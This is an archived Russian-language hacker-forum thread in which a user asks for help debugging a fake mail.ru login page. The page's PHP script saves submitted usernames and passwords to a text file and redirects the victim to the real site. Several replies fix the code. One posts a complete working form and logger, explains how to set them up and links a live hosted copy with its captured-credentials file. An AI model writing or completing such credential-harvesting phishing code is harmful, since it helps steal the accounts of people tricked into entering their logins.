Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Где ошибка в php скрипте?

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Где ошибка в php скрипте?
Имя
Сообщение << Старые топики   Новые топики >>
Где ошибка в php скрипте? - 2008-11-25 16:33:17.533333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Вот это форма для ввода логина и пароля (вся введённая инфа передаётся скрипту "enter.php":


<form action="enter.php" method=POST>
Логин: <input type="text" name="login" size=30><br>
Пароль: <input type="password" name="pass" size=30><br>
<input type=submit value="Войти">
</form>

А вот и php скрипт (он должен записать введённую инфу в файл "mails.txt":


<?
$log = $_POST["login"];
$pas = $_POST["pass"];
if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;}
$file = "mails.txt";
$f p = fopen($file, "w+");
fwrite($fp, "$log:$pas\r\n");
fclose($fp);
echo "<sсriрt>document.locaton.href="http://mail.ru";</sсriрt>";
?>


1. Я включаю index.php
2. Ввожу в форму логин и пароль
3. Инфа передаётся скрипту enter.php
4. И скрипт должен записать инфу в mails.txt и перевести юзера на mail.ru

Где сдесь может быть ошибка???

Заранее огромное спасибо!
Post #: 1
RE: Где ошибка в php скрипте? - 2008-11-25 16:52:16.196666   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
А что работает не так? Какую ошибку выводит?

quote:


if($log == "" or $pas == "")
//…
$fp = fopen($file, "w+");


P.S. Кривожопый фейк, ИМХО.
Post #: 2
RE: Где ошибка в php скрипте? - 2008-11-25 17:00:46.463333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Я ввожу логин и пасс.

И получаю код скрипта:

<?
$log = $_POST["login"];
$pas = $_POST["pass"];
if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;}
$file = "mails.txt";
$f p = fopen($file, "w+");
fwrite($fp, "$log:$pas\r\n");
fclose($fp);
echo "<sсriрt>document.locaton.href="http://mail.ru";</sсriрt>";
?>
Post #: 3
RE: Где ошибка в php скрипте? - 2008-11-25 17:03:03.780000   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333

quote:

ORIGINAL: xakep_svetik

Я ввожу логин и пасс.

И получаю код скрипта:

&lt;?
$log = $_POST["login"];
$pas = $_POST["pass"];
if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;}
$file = "mails.txt";
$f p = fopen($file, "w+");
fwrite($fp, "$log:$pas\r\n");
fclose($fp);
echo "&lt;sсriрt&gt;document.locaton.href="http://mail.ru";&lt;/sсriрt&gt;";
?&gt;


У тебя не настроен php на вебсервере. Попробуй вместо &lt;? поставить &lt;?php
Post #: 4
RE: Где ошибка в php скрипте? - 2008-11-25 17:03:26.246666   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
quote:

$f p = fopen($file, "w+");

пробел между f и р намеренно сделан?



и еще
quote:

'w+' Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длинны. Если файл не существует - пробует его создать.
Post #: 5
RE: Где ошибка в php скрипте? - 2008-11-25 17:11:35.266666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Да с пробелом и без пробела… тоже((.
FriLL Ты бы мог помочь заного написать скрипт записывающий введённую инфу в файл в форме:

<form action="enter.php" method=POST>
Логин: <input type="text" name="login" size=30><br>
Пароль: <input type="password" name="pass" size=30><br>
<input type=submit value="Войти">
</form>

???
Я буду очень благодарен.
Post #: 6
RE: Где ошибка в php скрипте? - 2008-11-25 17:14:04.533333   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
давай я помогу?
Post #: 7
RE: Где ошибка в php скрипте? - 2008-11-25 17:14:58.673333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Ну или сайт дать где уже исходные коды готовы???
Post #: 8
RE: Где ошибка в php скрипте? - 2008-11-25 17:16:07.626666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
QunneD Давай, если не занят и сможешь.

Буду тоже благодарен)
Post #: 9
RE: Где ошибка в php скрипте? - 2008-11-25 17:23:55.473333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
<?php
$f = fopen("pass.txt", "a");
fputs($f,$_POST['pass']);
fputs($f,'~');
fputs($f,$_POST['login']);
fputs($f,\n);
fclose($f);
?>


~ - разделение между логином и паролем
Post #: 10
RE: Где ошибка в php скрипте? - 2008-11-25 17:25:51.303333   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
quote:

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;&lt;/title&gt;
&lt;/head&gt;
&lt;bоdу&gt;
&lt;div align="center"&gt;
&lt;form method="post" action="enter.php"&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;&lt;span&gt;Логин:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="login" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;span&gt;Пароль:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="password" name="pass" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;input type="submit" value="Войти" /&gt;
&lt;/form&gt;
&lt;/div&gt;
&lt;/bоdу&gt;
&lt;/html&gt;


quote:

&lt;?php
$log = $_POST['login'];
$pass = $_POST['pass'];
if (empty($log) or empty($pass)) { echo("Please fill login or password"); }
else {
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
echo("&lt;sсriрt language=javasсriрt&gt;document.location='http://mail.ru'&lt;/sсriрt&gt;");
}
?&gt;
Post #: 11
RE: Где ошибка в php скрипте? - 2008-11-25 17:35:05.510000   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Спасибо огромное!!!:)
Post #: 12
RE: Где ошибка в php скрипте? - 2008-11-25 17:37:51.120000   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
А можешь объяснить как и где это прописать???)
Post #: 13
RE: Где ошибка в php скрипте? - 2008-11-25 17:43:34.153333   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
Открываеш блокнот, вставляеш то что первое я написал. И сохраняеш как index.html
Когда сохранила, очисти весь этот текст и вставь то что я написал второе. И сохрани как enter.php
А вот пример работы кода, http://www.rewancer.com/fake0000/index.html
Post #: 14
RE: Где ошибка в php скрипте? - 2008-11-25 17:43:41.996666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Я так понимаю в php файле.
Я ввожу логин и пасс.
И открывается на страничке код скрипта(((.
Что делать?
Post #: 15
RE: Где ошибка в php скрипте? - 2008-11-25 17:44:54.826666   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
Когда ввел что-то смотри здесь http://www.rewancer.com/fake0000/mails.txt
Post #: 16
RE: Где ошибка в php скрипте? - 2008-11-25 17:52:44.390000   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
qunned@gmail.com;ahuyvrot?
)))))))))))))))))))))))))))))
Post #: 17
RE: Где ошибка в php скрипте? - 2008-11-25 17:54:10.766666   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
я бы не дал свой пароль :)
Post #: 18
RE: Где ошибка в php скрипте? - 2008-11-25 17:57:04.953333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Открывается форма для ввода логина и паса.
Ввожу любые символы.
жму вход.
Открывается страничка enter.php:

<?php
$log = $_POST['login'];
$pass = $_POST['pass'];
if (empty($log) or empty($pass)) { echo("Please fill login or password"); }
else {
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
echo("<sсriрt language=javasсriрt>document.location='http://mail.ru'</sсriрt>");
}
?>

А в mails.txt Ничего нет(((

Что делать????

А кстати я это делаю просто запускаю с рабочего стола этот файл - index.html
и enter.php и mails.php тоже на рабочем столе.
Post #: 19
RE: Где ошибка в php скрипте? - 2008-11-25 17:59:45.020000   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
Ты щас про что, про свой mails.txt или про мой?
Post #: 20
RE: Где ошибка в php скрипте? - 2008-11-25 18:00:56.816666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Про свой
Post #: 21
RE: Где ошибка в php скрипте? - 2008-11-25 18:02:39.660000   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
Я под столом, люди объясните ему почему не работает… бугагага :D:D:D
Post #: 22
RE: Где ошибка в php скрипте? - 2008-11-25 18:02:43.503333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
QunneD Плиз в личку можешь всё подробно мне описать?
Я ща на 15 минут офф.
Заранее спасибо!)
Post #: 23
RE: Где ошибка в php скрипте? - 2008-11-25 18:04:01.863333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
А кстати я это делаю просто запускаю с рабочего стола этот файл - index.html
и enter.php и mails.php тоже на рабочем столе.

< Сообщение отредактировано xakep_svetik – 25.11.2008 18:00:29 >
Post #: 24
RE: Где ошибка в php скрипте? - 2008-11-25 18:04:36.833333   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
Я тоже занят, тебе в помощь http://www.google.ru/search?hl=ru&newwindow=1&q=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%B0%D0%B2%D0%BB%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC+%D0%94%D0%B5%D0%BD%D0%B2%D0%B5%D1%80+%C2%AB+Denwer&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=&aq=f&oq=
Post #: 25
RE: Где ошибка в php скрипте? - 2008-11-25 19:05:22.606666   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
Блин!
Еще в начале написал, в чем проблема! Глаза разуй.



quote:

ORIGINAL: kolPeeX

У тебя не настроен php на вебсервере.

Post #: 26
RE: Где ошибка в php скрипте? - 2008-11-25 19:59:35.580000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
http://forum.xakep.ru/fb.aspx?m=1215681
Зы: советую купить книгу и читать, читать, читать.
Post #: 27
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Где ошибка в php скрипте?







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.